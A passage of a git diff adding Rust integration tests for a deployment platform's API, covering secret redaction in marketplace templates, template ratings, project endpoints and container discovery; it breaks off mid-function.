+// ────────────────────────────────────────────────────────────────────
+// /api/templates/{slug}
+// ────────────────────────────────────────────────────────────────────
+
+#[tokio::test]
+async fn anonymous_user_cannot_see_password_values_in_template_detail() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let slug = "redact-test-anon-v1";
+    seed_template_with_sensitive_json_definition(&app.db_pool, slug).await;
+
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/{}", app.address, slug))
+        .send()
+        .await
+        .expect("detail request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response.json().await.expect("json body");
+    let sd = &body["item"]["latest_version"]["stack_definition"];
+
+    // Sensitive values must be redacted
+    let vars = sd["deploy"]["stack"]["vars"]
+        .as_array()
+        .expect("vars array");
+
+    let find = |key: &str| {
+        vars.iter()
+            .find(|v| v["key"] == key)
+            .map(|v| v["value"].as_str().unwrap_or("").to_string())
+    };
+
+    assert_eq!(
+        Some("***REDACTED***".to_string()),
+        find("DB_PASSWORD"),
+        "DB_PASSWORD value must be redacted"
+    );
+    assert_eq!(
+        Some("***REDACTED***".to_string()),
+        find("api_key"),
+        "api_key value must be redacted"
+    );
+    assert_eq!(
+        Some("***REDACTED***".to_string()),
+        find("AUTH_KEY"),
+        "AUTH_KEY value must be redacted"
+    );
+
+    // Non-sensitive values must be preserved
+    assert_eq!(
+        Some("db.internal".to_string()),
+        find("DB_HOST"),
+        "DB_HOST value must not be redacted"
+    );
+    assert_eq!(
+        Some("appuser".to_string()),
+        find("DB_USER"),
+        "DB_USER value must not be redacted"
+    );
+    assert_eq!(
+        Some("3000".to_string()),
+        find("APP_PORT"),
+        "APP_PORT value must not be redacted"
+    );
+
+    // Nested sensitive field must also be redacted
+    assert_eq!(
+        "***REDACTED***", sd["deploy"]["nested"]["credentials"]["passwd"],
+        "nested passwd must be redacted"
+    );
+    // Non-sensitive sibling must survive
+    assert_eq!(
+        "root", sd["deploy"]["nested"]["credentials"]["username"],
+        "nested username must not be redacted"
+    );
+}
+
+#[tokio::test]
+async fn authenticated_user_also_receives_redacted_stack_definition() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let slug = "redact-test-auth-v1";
+    seed_template_with_sensitive_json_definition(&app.db_pool, slug).await;
+
+    // Authenticated request
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/{}", app.address, slug))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("detail request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response.json().await.expect("json body");
+    let sd = &body["item"]["latest_version"]["stack_definition"];
+
+    let vars = sd["deploy"]["stack"]["vars"]
+        .as_array()
+        .expect("vars array");
+
+    let find = |key: &str| {
+        vars.iter()
+            .find(|v| v["key"] == key)
+            .map(|v| v["value"].as_str().unwrap_or("").to_string())
+    };
+
+    assert_eq!(
+        Some("***REDACTED***".to_string()),
+        find("DB_PASSWORD"),
+        "DB_PASSWORD must be redacted for authenticated users too"
+    );
+    assert_eq!(
+        Some("db.internal".to_string()),
+        find("DB_HOST"),
+        "DB_HOST must remain visible"
+    );
+}
+
+// ────────────────────────────────────────────────────────────────────
+// /api/v1/templates/{slug}
+// ────────────────────────────────────────────────────────────────────
+
+#[tokio::test]
+async fn v1_template_detail_also_redacts_sensitive_fields() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let slug = "redact-test-v1-path";
+    seed_template_with_sensitive_json_definition(&app.db_pool, slug).await;
+
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/v1/templates/{}", app.address, slug))
+        .send()
+        .await
+        .expect("v1 detail request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response.json().await.expect("json body");
+    let sd = &body["item"]["latest_version"]["stack_definition"];
+
+    let vars = sd["deploy"]["stack"]["vars"]
+        .as_array()
+        .expect("vars array");
+
+    let password_var = vars
+        .iter()
+        .find(|v| v["key"] == "DB_PASSWORD")
+        .expect("DB_PASSWORD var");
+
+    assert_eq!(
+        "***REDACTED***", password_var["value"],
+        "/api/v1/templates/{slug} must redact DB_PASSWORD"
+    );
+}
+
+// ────────────────────────────────────────────────────────────────────
+// YAML format templates (definition_format = 'yaml')
+// This is the format used by real marketplace templates like myproject15
+// ────────────────────────────────────────────────────────────────────
+
+#[tokio::test]
+async fn yaml_stack_definition_has_passwords_redacted() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let slug = "redact-test-yaml-format";
+    seed_template_with_sensitive_yaml_definition(&app.db_pool, slug).await;
+
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/{}", app.address, slug))
+        .send()
+        .await
+        .expect("detail request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response.json().await.expect("json body");
+    let sd = body["item"]["latest_version"]["stack_definition"]
+        .as_str()
+        .expect("stack_definition must be a YAML string");
+
+    assert!(
+        !sd.contains("admin123"),
+        "FLOWISE_PASSWORD plaintext must not appear: {}",
+        sd
+    );
+    assert!(
+        !sd.contains("Qwerty123"),
+        "DATABASE_PASSWORD plaintext must not appear: {}",
+        sd
+    );
+    assert!(
+        !sd.contains("change-me-please"),
+        "SECRETKEY plaintext must not appear: {}",
+        sd
+    );
+    assert!(
+        sd.contains("***REDACTED***"),
+        "redacted marker must be present: {}",
+        sd
+    );
+    // Non-sensitive values must survive
+    assert!(
+        sd.contains("localhost") || sd.contains("APP_HOST"),
+        "APP_HOST must survive: {}",
+        sd
+    );
+    assert!(
+        sd.contains("admin") || sd.contains("FLOWISE_USERNAME"),
+        "FLOWISE_USERNAME (non-sensitive) must survive: {}",
+        sd
+    );
+}
diff --git a/tests/marketplace_template_rating.rs b/tests/marketplace_template_rating.rs
new file mode 100644
index 00000000..2c638127
--- /dev/null
+++ b/tests/marketplace_template_rating.rs
@@ -0,0 +1,232 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::{json, Value};
+use sqlx::Row;
+
+const USER_TOKEN: &str = "test-bearer-token";
+
+async fn seed_template(app: &common::TestApp, slug: &str) -> uuid::Uuid {
+    let vendor = common::seed_marketplace_vendor_fixture(&app.db_pool, "acme-cloud").await;
+    common::seed_marketplace_template_fixtures_for_vendor(&app.db_pool, &vendor.creator_user_id)
+        .await;
+
+    sqlx::query("SELECT id FROM stack_template WHERE slug = $1")
+        .bind(slug)
+        .fetch_one(&app.db_pool)
+        .await
+        .expect("seeded template should exist")
+        .get("id")
+}
+
+#[tokio::test]
+async fn public_rating_summary_does_not_create_product_for_unrated_template() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let template_id = seed_template(&app, "wordpress-pro").await;
+
+    let before: Option<i32> = sqlx::query("SELECT product_id FROM stack_template WHERE id = $1")
+        .bind(template_id)
+        .fetch_one(&app.db_pool)
+        .await
+        .expect("template lookup should work")
+        .get("product_id");
+    assert_eq!(None, before);
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/templates/{}/rating/summary",
+            app.address, template_id
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch template rating summary");
+
+    assert_eq!(StatusCode::OK, response.status());
+    let body: Value = response.json().await.expect("summary JSON");
+    assert!(body["item"]["rating"].is_null());
+    assert_eq!(0, body["item"]["rating_count"]);
+
+    let after: Option<i32> = sqlx::query("SELECT product_id FROM stack_template WHERE id = $1")
+        .bind(template_id)
+        .fetch_one(&app.db_pool)
+        .await
+        .expect("template lookup should work")
+        .get("product_id");
+    assert_eq!(None, after);
+}
+
+#[tokio::test]
+async fn user_can_rate_template_by_template_id_without_product_id_knowledge() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let template_id = seed_template(&app, "wordpress-pro").await;
+
+    let response = reqwest::Client::new()
+        .put(format!(
+            "{}/api/templates/{}/rating",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({
+            "rating": 5,
+            "comment": "Excellent marketplace template"
+        }))
+        .send()
+        .await
+        .expect("Failed to rate template");
+
+    assert_eq!(StatusCode::OK, response.status());
+    let body: Value = response.json().await.expect("rating response JSON");
+    assert_eq!(Some(5.0), body["item"]["rating"].as_f64());
+    assert_eq!(5, body["item"]["rating_scale"]);
+    assert_eq!("Excellent marketplace template", body["item"]["comment"]);
+
+    let summary = reqwest::Client::new()
+        .get(format!(
+            "{}/api/templates/{}/rating/summary",
+            app.address, template_id
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch template rating summary");
+
+    assert_eq!(StatusCode::OK, summary.status());
+    let summary: Value = summary.json().await.expect("summary JSON");
+    assert_eq!(Some(5.0), summary["item"]["rating"].as_f64());
+    assert_eq!(1, summary["item"]["rating_count"]);
+    assert_eq!(5, summary["item"]["rating_scale"]);
+}
+
+#[tokio::test]
+async fn user_rating_upsert_updates_existing_template_rating() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let template_id = seed_template(&app, "wordpress-pro").await;
+    let client = reqwest::Client::new();
+
+    let first = client
+        .put(format!(
+            "{}/api/templates/{}/rating",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({ "rating": 5, "comment": "first" }))
+        .send()
+        .await
+        .expect("Failed to create rating");
+    assert_eq!(StatusCode::OK, first.status());
+
+    let second = client
+        .put(format!(
+            "{}/api/templates/{}/rating",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({ "rating": 4, "comment": "updated" }))
+        .send()
+        .await
+        .expect("Failed to update rating");
+    assert_eq!(StatusCode::OK, second.status());
+
+    let body: Value = second.json().await.expect("updated rating JSON");
+    assert_eq!(Some(4.0), body["item"]["rating"].as_f64());
+    assert_eq!("updated", body["item"]["comment"]);
+
+    let count: i64 = sqlx::query(
+        "SELECT COUNT(*)::bigint AS count FROM rating r JOIN stack_template t ON t.product_id = r.obj_id WHERE t.id = $1",
+    )
+    .bind(template_id)
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("rating count query should work")
+    .get("count");
+    assert_eq!(1, count);
+}
+
+#[tokio::test]
+async fn user_can_fetch_and_delete_own_template_rating() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let template_id = seed_template(&app, "wordpress-pro").await;
+    let client = reqwest::Client::new();
+
+    let create = client
+        .put(format!(
+            "{}/api/templates/{}/rating",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({ "rating": 3, "comment": "ok" }))
+        .send()
+        .await
+        .expect("Failed to create rating");
+    assert_eq!(StatusCode::OK, create.status());
+
+    let mine = client
+        .get(format!(
+            "{}/api/templates/{}/rating/me",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to fetch my rating");
+    assert_eq!(StatusCode::OK, mine.status());
+    let mine: Value = mine.json().await.expect("my rating JSON");
+    assert_eq!(Some(3.0), mine["item"]["rating"].as_f64());
+
+    let delete = client
+        .delete(format!(
+            "{}/api/templates/{}/rating",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to delete my rating");
+    assert_eq!(StatusCode::OK, delete.status());
+
+    let summary = client
+        .get(format!(
+            "{}/api/templates/{}/rating/summary",
+            app.address, template_id
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch summary after delete");
+    assert_eq!(StatusCode::OK, summary.status());
+    let summary: Value = summary.json().await.expect("summary JSON");
+    assert!(summary["item"]["rating"].is_null());
+    assert_eq!(0, summary["item"]["rating_count"]);
+}
+
+#[tokio::test]
+async fn template_rating_rejects_invalid_star_values() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let template_id = seed_template(&app, "wordpress-pro").await;
+
+    let response = reqwest::Client::new()
+        .put(format!(
+            "{}/api/templates/{}/rating",
+            app.address, template_id
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({ "rating": 6 }))
+        .send()
+        .await
+        .expect("Failed to submit invalid rating");
+
+    assert_eq!(StatusCode::BAD_REQUEST, response.status());
+}
diff --git a/tests/mcp_integration.rs b/tests/mcp_integration.rs
index 484fc8c3..cf1a81a0 100644
--- a/tests/mcp_integration.rs
+++ b/tests/mcp_integration.rs
@@ -40,7 +40,7 @@ async fn get_auth_token(config: &IntegrationConfig) -> Result<String, String> {
     let client = reqwest::Client::new();
 
     let response = client
-        .post(&format!("{}/oauth_server/token", config.user_service_url))
+        .post(format!("{}/oauth_server/token", config.user_service_url))
         .form(&[
             ("grant_type", "password"),
             ("username", &config.test_user_email),
@@ -87,7 +87,7 @@ async fn test_get_user_profile() {
     let client = reqwest::Client::new();
 
     let response = client
-        .get(&format!("{}/auth/me", config.user_service_url))
+        .get(format!("{}/auth/me", config.user_service_url))
         .header("Authorization", format!("Bearer {}", token))
         .send()
         .await
@@ -124,7 +124,7 @@ async fn test_get_subscription_plan() {
     let client = reqwest::Client::new();
 
     let response = client
-        .get(&format!("{}/oauth_server/api/me", config.user_service_url))
+        .get(format!("{}/oauth_server/api/me", config.user_service_url))
         .header("Authorization", format!("Bearer {}", token))
         .send()
         .await
@@ -163,7 +163,7 @@ async fn test_list_installations() {
     let client = reqwest::Client::new();
 
     let response = client
-        .get(&format!("{}/installations", config.user_service_url))
+        .get(format!("{}/installations", config.user_service_url))
         .header("Authorization", format!("Bearer {}", token))
         .send()
         .await
@@ -229,7 +229,7 @@ async fn test_get_installation_details() {
     let client = reqwest::Client::new();
 
     let response = client
-        .get(&format!(
+        .get(format!(
             "{}/installations/{}",
             config.user_service_url, deployment_id
         ))
@@ -267,7 +267,7 @@ async fn test_search_applications() {
     let client = reqwest::Client::new();
 
     let response = client
-        .get(&format!("{}/applications", config.user_service_url))
+        .get(format!("{}/applications", config.user_service_url))
         .header("Authorization", format!("Bearer {}", token))
         .send()
         .await
@@ -328,7 +328,7 @@ async fn test_mcp_workflow_stack_configuration() {
     // Step 1: Get user profile
     println!("Step 1: get_user_profile");
     let profile_resp = client
-        .get(&format!("{}/auth/me", config.user_service_url))
+        .get(format!("{}/auth/me", config.user_service_url))
         .header("Authorization", format!("Bearer {}", token))
         .send()
         .await
@@ -347,7 +347,7 @@ async fn test_mcp_workflow_stack_configuration() {
     // Step 2: Get subscription plan
     println!("Step 2: get_subscription_plan");
     let plan_resp = client
-        .get(&format!("{}/oauth_server/api/me", config.user_service_url))
+        .get(format!("{}/oauth_server/api/me", config.user_service_url))
         .header("Authorization", format!("Bearer {}", token))
         .send()
         .await
@@ -369,7 +369,7 @@ async fn test_mcp_workflow_stack_configuration() {
     // Step 3: List installations (as proxy for checking deployment limits)
     println!("Step 3: list_installations");
     let installs_resp = client
-        .get(&format!("{}/installations", config.user_service_url))
+        .get(format!("{}/installations", config.user_service_url))
         .header("Authorization", format!("Bearer {}", token))
         .send()
         .await
@@ -383,7 +383,7 @@ async fn test_mcp_workflow_stack_configuration() {
     // Step 4: Search applications
     println!("Step 4: search_applications");
     let apps_resp = client
-        .get(&format!("{}/applications", config.user_service_url))
+        .get(format!("{}/applications", config.user_service_url))
         .header("Authorization", format!("Bearer {}", token))
         .send()
         .await
@@ -478,7 +478,7 @@ async fn test_confirmation_flow_restart_container() {
     //! 3. AI calls restart_container with requires_confirmation: true (execute)
     //! 4. Returns result
 
-    let stacker_url =
+    let _stacker_url =
         env::var("STACKER_URL").unwrap_or_else(|_| "http://localhost:8000".to_string());
 
     println!("\n=== Confirmation Flow Test: restart_container ===\n");
diff --git a/tests/middleware_client.rs b/tests/middleware_client.rs
index 3903f4f2..8fad999b 100644
--- a/tests/middleware_client.rs
+++ b/tests/middleware_client.rs
@@ -15,13 +15,16 @@ async fn middleware_client_works() {
     let client = reqwest::Client::new(); // client
 
     let response = client
-        .get(&format!("{}/health_check", &app.address))
+        .get(format!("{}/health_check", &app.address))
         .send()
         .await
         .expect("Failed to execute request.");
 
     assert!(response.status().is_success());
-    assert_eq!(Some(0), response.content_length());
+    assert!(
+        response.content_length().unwrap_or(0) > 0,
+        "health_check should return a non-empty JSON body"
+    );
 
     //todo header stacker-id not found
     //
diff --git a/tests/middleware_trydirect.rs b/tests/middleware_trydirect.rs
index beeb8dc5..0dacb938 100644
--- a/tests/middleware_trydirect.rs
+++ b/tests/middleware_trydirect.rs
@@ -4,7 +4,7 @@ use wiremock::MockServer;
 #[tokio::test]
 async fn middleware_trydirect_works() {
     // 1. Arrange
-    let trydirect_auth_server = MockServer::start().await;
+    let _trydirect_auth_server = MockServer::start().await;
 
     // 2. Act
     // 3. Assert
@@ -18,11 +18,14 @@ async fn middleware_trydirect_works() {
     let client = reqwest::Client::new(); // client
 
     let response = client
-        .get(&format!("{}/health_check", &app.address))
+        .get(format!("{}/health_check", &app.address))
         .send()
         .await
         .expect("Failed to execute request.");
 
     assert!(response.status().is_success());
-    assert_eq!(Some(0), response.content_length());
+    assert!(
+        response.content_length().unwrap_or(0) > 0,
+        "health_check should return a non-empty JSON body"
+    );
 }
diff --git a/tests/model_project.rs b/tests/model_project.rs
index 22e190d2..4c4c8b1c 100644
--- a/tests/model_project.rs
+++ b/tests/model_project.rs
@@ -1,7 +1,5 @@
-use stacker::forms::project::App;
 use stacker::forms::project::DockerImage;
 use stacker::forms::project::ProjectForm;
-use std::collections::HashMap;
 
 //  Unit Test
 
@@ -30,7 +28,7 @@ fn test_deserialize_project() {
         env!("CARGO_MANIFEST_DIR"),
         "/tests/mock_data/custom.json"
     ));
-    let form = serde_json::from_str::<ProjectForm>(&body_str).unwrap();
+    let form = serde_json::from_str::<ProjectForm>(body_str).unwrap();
     println!("{:?}", form);
     // @todo assert required data
 
@@ -70,6 +68,7 @@ fn test_docker_image_only_name_other_empty() {
         dockerhub_name: Some("mysql".to_string()),
         dockerhub_image: Some("".to_string()),
         dockerhub_password: None,
+        dockerhub_tag: None,
     };
     let output = docker_image.to_string();
     assert_eq!(String::from("mysql:latest"), output);
@@ -82,6 +81,7 @@ fn test_docker_image_only_name_other_none() {
         dockerhub_name: Some("mysql".to_string()),
         dockerhub_image: None,
         dockerhub_password: None,
+        dockerhub_tag: None,
     };
     let output = docker_image.to_string();
     assert_eq!(String::from("mysql:latest"), output);
@@ -93,6 +93,7 @@ fn test_docker_image_namespace_and_repo() {
         dockerhub_name: Some("mysql".to_string()),
         dockerhub_image: Some("".to_string()),
         dockerhub_password: None,
+        dockerhub_tag: None,
     };
     let output = docker_image.to_string();
     assert_eq!(String::from("trydirect/mysql:latest"), output);
@@ -105,6 +106,7 @@ fn test_docker_image_namespace_and_repo_tag() {
         dockerhub_name: Some("mysql:8.1".to_string()),
         dockerhub_image: Some("".to_string()),
         dockerhub_password: None,
+        dockerhub_tag: None,
     };
     let output = docker_image.to_string();
     assert_eq!(String::from("trydirect/mysql:8.1"), output);
@@ -116,6 +118,7 @@ fn test_docker_image_only_image() {
         dockerhub_name: None,
         dockerhub_image: Some("trydirect/mysql:stable".to_string()),
         dockerhub_password: None,
+        dockerhub_tag: None,
     };
     let output = docker_image.to_string();
     assert_eq!(String::from("trydirect/mysql:stable"), output);
@@ -128,6 +131,7 @@ fn test_docker_image_only_image_other_empty() {
         dockerhub_name: Some("".to_string()),
         dockerhub_image: Some("trydirect/mysql:stable".to_string()),
         dockerhub_password: None,
+        dockerhub_tag: None,
     };
     let output = docker_image.to_string();
     assert_eq!(String::from("trydirect/mysql:stable"), output);
@@ -139,6 +143,7 @@ fn test_docker_repo_name_with_tag_other_none() {
         dockerhub_name: Some("mysql:stable".to_string()),
         dockerhub_image: None,
         dockerhub_password: None,
+        dockerhub_tag: None,
     };
     let output = docker_image.to_string();
     assert_eq!(String::from("mysql:stable"), output);
diff --git a/tests/project_api_alias.rs b/tests/project_api_alias.rs
new file mode 100644
index 00000000..bdfebec7
--- /dev/null
+++ b/tests/project_api_alias.rs
@@ -0,0 +1,47 @@
+mod common;
+
+use reqwest::StatusCode;
+
+#[tokio::test]
+async fn project_alias_lists_projects_for_authenticated_user() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    for _ in 0..2 {
+        common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    }
+
+    let resp = client
+        .get(format!("{}/api/v1/project", app.address))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("request failed");
+
+    assert_eq!(resp.status(), StatusCode::OK);
+    let body: serde_json::Value = resp.json().await.expect("json response");
+    let list = body["list"].as_array().expect("expected list");
+    assert_eq!(list.len(), 2);
+}
+
+#[tokio::test]
+async fn project_alias_rejects_unauthenticated_requests() {
+    let Some(app) = common::spawn_app().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let resp = client
+        .get(format!("{}/api/v1/project", app.address))
+        .send()
+        .await
+        .expect("request failed");
+
+    assert!(
+        resp.status() == StatusCode::UNAUTHORIZED || resp.status() == StatusCode::FORBIDDEN,
+        "Unauthenticated request to /api/v1/project should be rejected, got {}",
+        resp.status()
+    );
+}
diff --git a/tests/project_app_sync.rs b/tests/project_app_sync.rs
new file mode 100644
index 00000000..47bade13
--- /dev/null
+++ b/tests/project_app_sync.rs
@@ -0,0 +1,156 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::{json, Value};
+use stacker::{db, models};
+
+fn project_payload(stack_code: &str, service_codes: &[&str]) -> Value {
+    let services = service_codes
+        .iter()
+        .enumerate()
+        .map(|(idx, code)| {
+            json!({
+                "_id": format!("svc-{}", idx),
+                "name": format!("{} service", code),
+                "code": code,
+                "type": "service",
+                "custom": true,
+                "dockerhub_image": format!("example/{code}:latest"),
+                "domain": "",
+                "restart": "unless-stopped",
+                "network": ["default-network"],
+                "environment": [{"key": "SERVICE_NAME", "value": code}],
+                "shared_ports": [{"host_port": "", "container_port": "6379"}],
+                "volumes": []
+            })
+        })
+        .collect::<Vec<_>>();
+
+    json!({
+        "custom": {
+            "custom_stack_code": stack_code,
+            "project_name": format!("Project {stack_code}"),
+            "networks": [{
+                "id": "default-network",
+                "name": "default_network"
+            }],
+            "web": [{
+                "_id": "web-1",
+                "name": "Website",
+                "code": "website",
+                "type": "web",
+                "custom": true,
+                "dockerhub_image": "nginx:1.27",
+                "domain": "example.com",
+                "restart": "always",
+                "network": ["default-network"],
+                "environment": [{"key": "PUBLIC_URL", "value": "https://example.com"}],
+                "shared_ports": [{"host_port": "80", "container_port": "8080"}],
+                "volumes": []
+            }],
+            "service": services,
+            "feature": []
+        }
+    })
+}
+
+#[tokio::test]
+async fn create_project_materializes_project_level_apps_from_form() {
+    let Some(app) = common::spawn_app().await else {
+        return;
+    };
+
+    let client = reqwest::Client::new();
+    let response = client
+        .post(format!("{}/project", app.address))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&project_payload("sync-project-create", &["redis"]))
+        .send()
+        .await
+        .expect("project create request should succeed");
+
+    assert_eq!(response.status(), StatusCode::OK);
+    let body: Value = response.json().await.expect("response should be json");
+    let project_id = body["item"]["id"]
+        .as_i64()
+        .expect("project id should be present") as i32;
+
+    let apps = db::project_app::fetch_by_project(&app.db_pool, project_id)
+        .await
+        .expect("project apps should load");
+
+    let codes = apps.iter().map(|app| app.code.as_str()).collect::<Vec<_>>();
+    assert_eq!(codes, vec!["website", "redis"]);
+    assert_eq!(apps[0].deployment_id, None);
+    assert_eq!(
+        apps[0].environment,
+        Some(json!({"PUBLIC_URL": "https://example.com"}))
+    );
+    assert_eq!(apps[0].networks, Some(json!(["default_network"])));
+    assert_eq!(apps[1].image, "example/redis:latest");
+}
+
+#[tokio::test]
+async fn update_project_reconciles_project_level_apps_without_removing_deployment_rows() {
+    let Some(app) = common::spawn_app().await else {
+        return;
+    };
+
+    let client = reqwest::Client::new();
+    let create_response = client
+        .post(format!("{}/project", app.address))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&project_payload("sync-project-update", &["redis"]))
+        .send()
+        .await
+        .expect("project create request should succeed");
+
+    assert_eq!(create_response.status(), StatusCode::OK);
+    let create_body: Value = create_response
+        .json()
+        .await
+        .expect("create response should be json");
+    let project_id = create_body["item"]["id"]
+        .as_i64()
+        .expect("project id should be present") as i32;
+
+    let deployment_app = models::ProjectApp {
+        deployment_id: Some(777),
+        ..models::ProjectApp::new(
+            project_id,
+            "deployed-only".to_string(),
+            "Deployment Only".to_string(),
+            "example/deployed-only:latest".to_string(),
+        )
+    };
+    db::project_app::insert(&app.db_pool, &deployment_app)
+        .await
+        .expect("deployment-scoped app should insert");
+
+    let update_response = client
+        .put(format!("{}/project/{}", app.address, project_id))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&project_payload("sync-project-update", &["upload"]))
+        .send()
+        .await
+        .expect("project update request should succeed");
+
+    assert_eq!(update_response.status(), StatusCode::OK);
+
+    let apps = db::project_app::fetch_by_project(&app.db_pool, project_id)
+        .await
+        .expect("project apps should load");
+    let project_level_codes = apps
+        .iter()
+        .filter(|app| app.deployment_id.is_none())
+        .map(|app| app.code.as_str())
+        .collect::<Vec<_>>();
+    let deployment_codes = apps
+        .iter()
+        .filter(|app| app.deployment_id.is_some())
+        .map(|app| app.code.as_str())
+        .collect::<Vec<_>>();
+
+    assert_eq!(project_level_codes, vec!["website", "upload"]);
+    assert_eq!(deployment_codes, vec!["deployed-only"]);
+}
diff --git a/tests/project_container_discovery.rs b/tests/project_container_discovery.rs
new file mode 100644
index 00000000..b0cc6fb6
--- /dev/null
+++ b/tests/project_container_discovery.rs
@@ -0,0 +1,76 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::json;
+use stacker::models::{Agent, Command};
+
+#[tokio::test]
+async fn discovery_prefers_active_agent_hash_over_latest_deployment_row() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+
+    let active_hash = "deployment-active-hash";
+    common::create_test_deployment(&app.db_pool, common::USER_A_ID, project_id, active_hash).await;
+
+    common::create_test_deployment(
+        &app.db_pool,
+        common::USER_A_ID,
+        project_id,
+        "deployment-latest-hash",
+    )
+    .await;
+
+    let mut agent = Agent::new(active_hash.to_string());
+    agent.mark_online();
+    stacker::db::agent::insert(&app.db_pool, agent)
+        .await
+        .expect("failed to insert active agent");
+
+    let mut list_containers = Command::new(
+        "cmd-list-containers".to_string(),
+        active_hash.to_string(),
+        "list_containers".to_string(),
+        common::USER_A_ID.to_string(),
+    );
+    list_containers.status = "completed".to_string();
+    list_containers.result = Some(json!({
+        "containers": [
+            {
+                "name": "project-device-api-1",
+                "image": "optimum/syncopia-device-api",
+                "status": "running"
+            }
+        ]
+    }));
+    stacker::db::command::insert(&app.db_pool, &list_containers)
+        .await
+        .expect("failed to insert list_containers command");
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/v1/project/{}/containers/discover",
+            app.address, project_id
+        ))
+        .bearer_auth(common::USER_A_TOKEN)
+        .send()
+        .await
+        .expect("request failed");
+
+    assert_eq!(response.status(), StatusCode::OK);
+
+    let body: serde_json::Value = response.json().await.expect("json response");
+    let unregistered = body["item"]["unregistered"]
+        .as_array()
+        .expect("unregistered array");
+
+    assert_eq!(
+        unregistered.len(),
+        1,
+        "expected discover to use active agent hash"
+    );
+    assert_eq!(unregistered[0]["container_name"], "project-device-api-1");
+    assert_eq!(unregistered[0]["suggested_code"], "device-api");
+}
diff --git a/tests/project_deploy_marketplace_validation.rs b/tests/project_deploy_marketplace_validation.rs
new file mode 100644
index 00000000..1851e03e
--- /dev/null
+++ b/tests/project_deploy_marketplace_validation.rs
@@ -0,0 +1,836 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::json;
+use sqlx::Row;
+use tokio::sync::Mutex;
+use uuid::Uuid;
+use wiremock::matchers::{method, path, query_param};
+use wiremock::{Mock, MockServer, ResponseTemplate};
+
+static APP_SERVICE_ENV_LOCK: Mutex<()> = Mutex::const_new(());
+
+async fn mount_server_catalog(
+    provider: &str,
+    cloud_id: Option<i32>,
+    servers: serde_json::Value,
+) -> MockServer {
+    let server = MockServer::start().await;
+    let mut mock = Mock::given(method("GET")).and(path(format!("/{}/servers", provider)));
+
+    if let Some(cloud_id) = cloud_id {
+        mock = mock.and(query_param("cloud_id", cloud_id.to_string()));
+    }
+
+    mock.respond_with(ResponseTemplate::new(200).set_body_json(json!({
+        "_status": "OK",
+        "servers": servers
+    })))
+    .mount(&server)
+    .await;
+
+    server
+}
+
+async fn create_marketplace_project(
+    pool: &sqlx::PgPool,
+    user_id: &str,
+    infrastructure_requirements: serde_json::Value,
+) -> i32 {
+    let project_id = sqlx::query(
+        r#"INSERT INTO project (
+            stack_id,
+            user_id,
+            name,
+            metadata,
+            request_json,
+            created_at,
+            updated_at
+        )
+        VALUES (gen_random_uuid(), $1, 'Test Project', '{}'::jsonb, '{}'::jsonb, NOW(), NOW())
+        RETURNING id"#,
+    )
+    .bind(user_id)
+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert test project")
+    .get::<i32, _>("id");
+    let slug = format!("deploy-validation-{}", Uuid::new_v4());
+    let template_name = format!("Deploy Validation {}", Uuid::new_v4());
+
+    let template_id = sqlx::query(
+        r#"INSERT INTO stack_template (
+            creator_user_id,
+            name,
+            slug,
+            status,
+            tags,
+            tech_stack,
+            infrastructure_requirements
+        )
+        VALUES ($1, $2, $3, 'approved', '[]'::jsonb, '{}'::jsonb, $4)
+        RETURNING id"#,
+    )
+    .bind(user_id)
+    .bind(template_name)
+    .bind(slug)
+    .bind(infrastructure_requirements)
